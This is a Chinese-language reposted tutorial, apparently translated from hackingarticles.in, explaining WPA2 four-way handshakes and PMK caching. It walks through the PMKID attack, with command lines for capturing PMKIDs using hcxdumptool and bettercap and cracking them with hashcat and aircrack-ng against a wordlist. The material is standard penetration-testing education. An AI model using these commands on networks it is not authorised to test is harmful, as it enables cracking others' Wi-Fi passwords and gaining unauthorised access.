无线渗透测试:PMKID攻击详解"

admin 2026-10-20 13:11:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

无线渗透测试:PMKID攻击详解

Red Hunter
Red Hunter

黑白之道

2026年6月27日 08:40
江西

在小说阅读器读本章

去阅读

导语:传统WPA2握手捕获方法必须等待客户端断开再重新认证才能获取握手包,而PMKID攻击绕过了这一步骤,直接向AP请求PMKID帧,让攻击者可以独立完成破解,无需借助任何合法客户端。配合hashcat的暴力破解,整个过程效率大幅提升。


一、开放系统认证

开放系统认证(Open System Authentication,简称OSA)是WEP(有线等效加密)协议中的一种认证流程,允许计算机通过无线调制解调器访问任何WEP网络并接收未加密文件。

认证流程:

  • 客户端发现SSID,发送连接请求(请求帧)
  • 接入点(AP)返回响应(响应帧)
  • 客户端向AP发送关联或认证请求
  • AP生成一个仅本次会话有效的认证码并发送给客户端

这种情况就像你把网线插到台式机,就能直接连接网络一样,这就是WEP被称为\"有线等效协议\"的原因。但这个机制存在明显缺陷:认证码可被解密、静态IV(初始向量)加密方式脆弱、加密强度不足等。因此WEP协议后来被共享密钥认证所增强。

二、共享密钥认证

共享密钥认证是WEP中的一种认证方法,要求客户端和服务端事先共享同一个密钥——也就是Wi-Fi密码。

认证流程:

  • 客户端发现SSID,发送连接请求
  • AP向客户端发送一个只能用密钥(Wi-Fi密码)解密的加密文件
  • 客户端输入密码后向AP发送认证请求帧
  • AP验证解密后的文件,确认客户端拥有正确密钥后授予访问权限

加州大学伯克利分校的研究证明,由于WEP使用静态密钥进行加密,该协议十分脆弱,这推动了WPA和WPA2的出现。

三、WPA 与 WPA2(PSK)

前置说明:本文仅讨论WPA2中的PSK(预共享密钥)认证,以及单播模式(AP到客户端的一对一通信)。

Wi-Fi保护访问(WPA)于2004年推出,可在WEP的相同硬件上运行。与WEP不同,WPA使用TKIP(临时密钥完整性协议)为每个数据包动态生成新密钥。WPA2则增加了对基于AES的CCMP协议的强制支持。我们重点讨论WPA/WPA2中的认证机制。

每个使用WPA/WPA2 PSK方式登录无线网络的用户都已经知道预共享密钥(PSK)。PSK大小为256位,生成方式如下:

PSK = PBKDF2\_SHA1(Wi-Fi密码 + Wi-Fi SSID,SSID长度,SHA1迭代4096次)

也就是说,如果你把Wi-Fi密码告诉朋友,他也就获得了你的PSK。请注意,PSK本身并不加密流量,流量的加密密钥实际上是从这个PSK派生出来的。

在WPA2 PSK中,预共享密钥等同于成对主密钥(PMK)。

PSK不直接加密每个数据包中的数据,而是从PSK派生加密密钥,并加入其他变量。加密客户端与接入点之间所有传输数据的密钥称为成对传输密钥(PTK)。

PTK = PSK或PMK + Anonce + Snonce + MAC(认证器)+ MAC(请求者)

  • 认证器(Authenticator)= AP
  • 请求者(Supplicant)= 客户端
  • Anonce = AP为每个数据包生成的一次性随机数
  • Snonce = 客户端为每个数据包生成的一次性随机数

对于广播和多播模式,原理基本相同,但生成的密钥略有不同,此时成对密钥变为GTK(组临时密钥)和GMK(组主密钥),PSK从主会话密钥(MSK)生成。

四、四次握手

简单来说,四次握手的核心是把某些源密钥材料转换成数据加密材料,然后用这些材料加密数据帧。这个从源密钥材料生成数据加密材料的过程,就叫做四次握手。

如前所述,客户端和认证器(AP)都知道PSK(也称PMK)。但PMK并不直接用于加密数据,必须从PMK派生出PTK。

握手过程详解:

第一步——客户端PTK生成: AP发送包含Anonce的消息,Anonce是每个数据包的一次性值。客户端收到Anonce后,使用所有输入(两个MAC地址、PMK、自己生成的Snonce以及收到的Anonce)创建自己的PTK。

第二步——AP PTK生成: 客户端向AP回发包含Snonce的消息,AP据此生成与客户端相同的PTK。这条消息的MIC字段设为1,用于验证消息是否损坏,或密钥是否因中间人攻击等原因被篡改。客户端同时发送RSN IE(或PMKID)。

第三步——组密钥生成与分发: PTK验证通过后,AP从GMK派生GTK(用于广播和多播通信)。GTK通过PTK加密后传递给客户端,消息通知客户端安装临时密钥,并在帧中附带一个RSN IE数据包。

第四步——密钥安装确认: 客户端向认证器确认密钥已安装。

简化版四次握手:

  • AP向客户端发送Anonce,客户端生成PTK
  • 客户端向AP发送Snonce,AP生成相同的PTK
  • AP生成组密钥并加密发送给客户端
  • 客户端安装密钥并回发确认

五、PMK缓存与PMKID

当客户端和AP成功完成四次握手后,双方会维护一种称为PMKSA(PMK安全关联)的状态。

AP漫游是指客户端(请求者)离开当前AP的覆盖范围,并连接到另一个AP的场景。与蜂窝网络的切换类似,每次客户端离开AP范围再重新连接,设备都需要重新执行完整的四次握手。

设想这样一个企业环境场景:办公区多个楼层都有AP,你拿着笔记本电脑跑到会议室做演示,突然发现连接断了——一秒钟的延迟就可能导致整个PPT演示失败。

为了解决这个切换延迟问题,我们引入了PMK缓存功能。

当AP完成四次握手后,会将PMKID缓存到称为PMKSA的信息集合中。当客户端断开再重新认证时,路由器不再执行完整的四次握手,而是直接向客户端请求PMKSA,验证通过后快速重新关联。

PMKSA = PMKID + PMK生命周期 + MAC地址 + 其他变量

PMKID是另一个哈希值的哈希,计算公式如下:

PMKID = HMAC-SHA1-128(PMK,\"PMK Name\" + MAC(AP)+ MAC(请求者))

HMAC-SHA1只是伪随机函数的一个示例。PMKID作为字段出现在RSN IE帧中,路由器会附带这个可选帧。\"PMK Name\"是与SSID关联的固定字符串标签。

路由器缓存PMKID后,下次客户端连接AP时,双方只需验证这个PMKID,从而完全跳过四次握手过程。PMKID缓存适用于支持漫游的各种IEEE 802.11网络,随着PMKID攻击日益猖獗,许多厂商也开始提供额外的RSN安全功能。

六、PMKID攻击原理

所有路由器都容易受到PMKID攻击吗?不是。只有启用了漫游功能的路由器才存在这个漏洞。

现在我们已经了解了足够多的背景知识,来看看攻击原理:如果能从AP获取PMKID,我们就能获得一个包含Wi-Fi密码的哈希值。PMKID攻击直接针对单个RSN IE帧。由于PMKID是从PMK、固定字符串和两个MAC地址派生而来,被Hashcat官方称为\"理想攻击向量\"。

暴力破解PMKID需要以下参数:

  • Wi-Fi密码(口令)——猜测
  • Wi-Fi SSID ——已知
  • SSID长度 ——已知
  • 认证器和请求者的MAC地址 ——已知
  • PMK Name ——已知

实际上我们只需要: 获取PMKID → 用字典猜测Wi-Fi密码 → 生成PMK哈希 → 生成PMKID哈希并与捕获的PMKID比对

根据Hashcat官方原文,PMKID攻击的主要优势包括:

  • 不再需要合法用户参与——攻击者直接与AP通信(即\"无客户端\"攻击)
  • 不再等待合法用户与AP之间的完整四次握手
  • 不再遭遇EAPOL帧的重传(可能导致无法破解的结果)
  • 不再因合法用户输入错误密码而失败
  • 不再因客户端或AP离攻击者太远而丢失EAPOL帧
  • 不再需要固定nonce和重放计数器值(破解速度略快)
  • 不再需要特殊输出格式(pcap、hccapx等)——最终数据以普通十六进制字符串形式出现

七、使用hcxdumptool捕获PMKID

了解了PMKID的原理后,我们尝试获取PMKID并发起攻击。使用hcxdumptool向AP请求PMKID帧,并以pcapng格式保存。

安装工具:

apt install hcxtools

将Wi-Fi网卡设置为监听模式:

aircrack-ng start wlan0

使用hcxdumptool捕获周围所有路由器的PMKID:

hcxdumptool -o demo -i wlan0mon --enable_status 5

其中demo为输出文件名,wlan0mon为网卡接口,--enable_status 5表示仅显示认证和EAP/EAPOL帧。PMKID也可以通过状态值1捕获。

EAP帧说明: EAP(可扩展认证协议)用于WPA2-PSK路由器的认证。在四次握手中,加密密钥正在生成,而EAP负责客户端到AP的认证过程。

EAP流程如下:

  • 客户端向AP请求新的无线网络连接
  • AP向用户索取身份信息,并将收到的数据转发给认证服务器
  • 认证服务器向AP请求并接收身份信息的合法性证明
  • AP完成用户验证,向认证服务器回发验证消息
  • 服务器授予访问权限,用户连接网络,随后进入四次握手流程

EAP共有40多种认证机制,但核心流程如上所述。

八、转换pcapng并使用hashcat破解

使用hcxpcaptool将pcapng文件转换为hashcat可破解的哈希格式:

hcxpcaptool -z hash demo

可以看到PMKID已被写入哈希文件。将该文件重命名为pmkidhash,接下来进行暴力破解:

hashcat -m 16800 --force hash /usr/share/wordlists/rockyou.txt --show

其中-m 16800表示WPA PMKID类型的哈希模式。就这样,Wi-Fi密码就找到了。

九、仅捕获单个AP的PMKID

之前我们捕获了周围所有路由器的PMKID,如果只想捕获某一个AP的PMKID呢?需要先记录该AP的MAC地址,在之前的hcxdumptool步骤中我已经将MAC地址保存到一个名为\"target\"的文本文件中。

接下来,只捕获这个AP的PMKID,将输出保存为raj文件:

hcxdumptool -o raj -i wlan0mon --enable_status=1 --filterlist_ap=target --filtermode=2

重复上述步骤,用hashcat破解:

hcxpcaptool -z pmkidhash raj
hashcat -m 16800 --force pmkidhash /usr/share/wordlists/rockyou.txt --show

十、转换pcapng为pcap并用Aircrack-ng破解

前面的演示中用hcxdumptool捕获了一个名为\"demo\"的pcapng文件,现在将其转换为pcap格式并直接用aircrack-ng破解:

file demo
tcpdump -r demo -w demo.pcap

破解命令:

aircrack-ng demo.pcap -w /usr/share/wordlists/rockyou.txt

然后输入目标编号(这里是11)即可。

十一、使用Airgeddon捕获和攻击PMKID

airgeddon工具将上述手动操作流程整合为一个简单的CLI界面,只需按数字键即可完成所有步骤。

运行airgeddon脚本,按5选择PMKID捕获功能,等待脚本扫描周围的SSID。

然后选择字典攻击方式,输入字典文件路径。

十二、使用bettercap捕获PMKID

最后,我们使用经典的bettercap工具。由于bettercap需要较旧版本的pcap库,先用wget下载:

wget http://old.kali.org/kali/pool/main/libp/libpcap/libpcap0.8_1.9.1-4_amd64.deb
dpkg -i libpcap0.8_1.9.1-4_amd64.deb

安装完成后,将网卡设置为监听模式,运行bettercap:

bettercap
set wifi.interface wlan0mon
wifi.recon on

用wifi.show更清晰地列出所有可见AP。用BSSID关联指定AP:

wifi.assoc 68:14:01:5a:0e:9c

捕获到的PMKID保存在/root/bettercap-wifi-handshakes.pcap文件中。如果要捕获所有AP的PMKID:

wifi.assoc all

将pcap文件转换为hashcat格式并破解:

hcxpcaptool -z hashpmkid bettercap-wifi-handshake.pcap
hashcat -m 16800 --force hashpmkid /usr/share/wordlists/rockyou.txt --show

十三、总结

显然,PMKID攻击对家庭网络和企业网络都构成了重大威胁。任何人都能轻易发起这种攻击,因此必须采取必要的防护措施。这也再次强调了使用强密码的重要性,以及升级到WPA3的必要性。

感谢您阅读本系列文章第三篇\"Wi-Fi渗透测试系列\"。祝您安全。

原文作者:Harshit Rajpal,信息安全研究员

原文出处:https://www.hackingarticles.in/wireless-penetration-testing-pmkid-attack/


👇 点击阅读原文,访问我的网站



无线渗透测试:PMKID攻击详解" 网络安全文章

无线渗透测试:PMKID攻击详解"

该文档详细解析了无线渗透测试中的PMKID攻击技术,阐述了其通过直接向AP请求PMKID帧来绕过传统WPA2四次握手捕获的技术原理,并提供了使用hcxdumptool、hashcat、airgeddon等工具进行PMKID捕获与破解的完整操作流程。文章指出该攻击对支持漫游功能的路由器构成严重威胁,强调使用强密码和升级WPA3的必要性。
我用AI挖了隐藏N年的组合拳漏洞" 网络安全文章

我用AI挖了隐藏N年的组合拳漏洞"

文档详细记录了作者在护网行动中发现的一个组合漏洞利用案例,涉及OAuth2.0客户端凭证泄露和权限提升漏洞。通过分析前端JS文件获取被注释的客户端凭证,结合注册接口未严格校验ownerId参数的问题,成功实现从普通用户到管理员权限的提权。文章还对比了四种AI自动化渗透方案的效果,发现DeepSeekv4pro在漏洞发现方面表现最佳。
不会找漏洞试试Nuclei这款神器" 网络安全文章

不会找漏洞试试Nuclei这款神器"

本文介绍Nuclei作为基于模板的轻量级漏洞扫描工具,拥有7000+官方模板覆盖CVE、渗透测试等多场景。详细说明Kali安装、模板更新命令及多种扫描模式(单目标/批量/静默/分级扫描),重点推荐-as参数自动识别技术栈提升效率。提供模板编写示例和AI生成模板功能,强调其灵活性和易用性适合各层次安全人员。
评论:0   参与:  0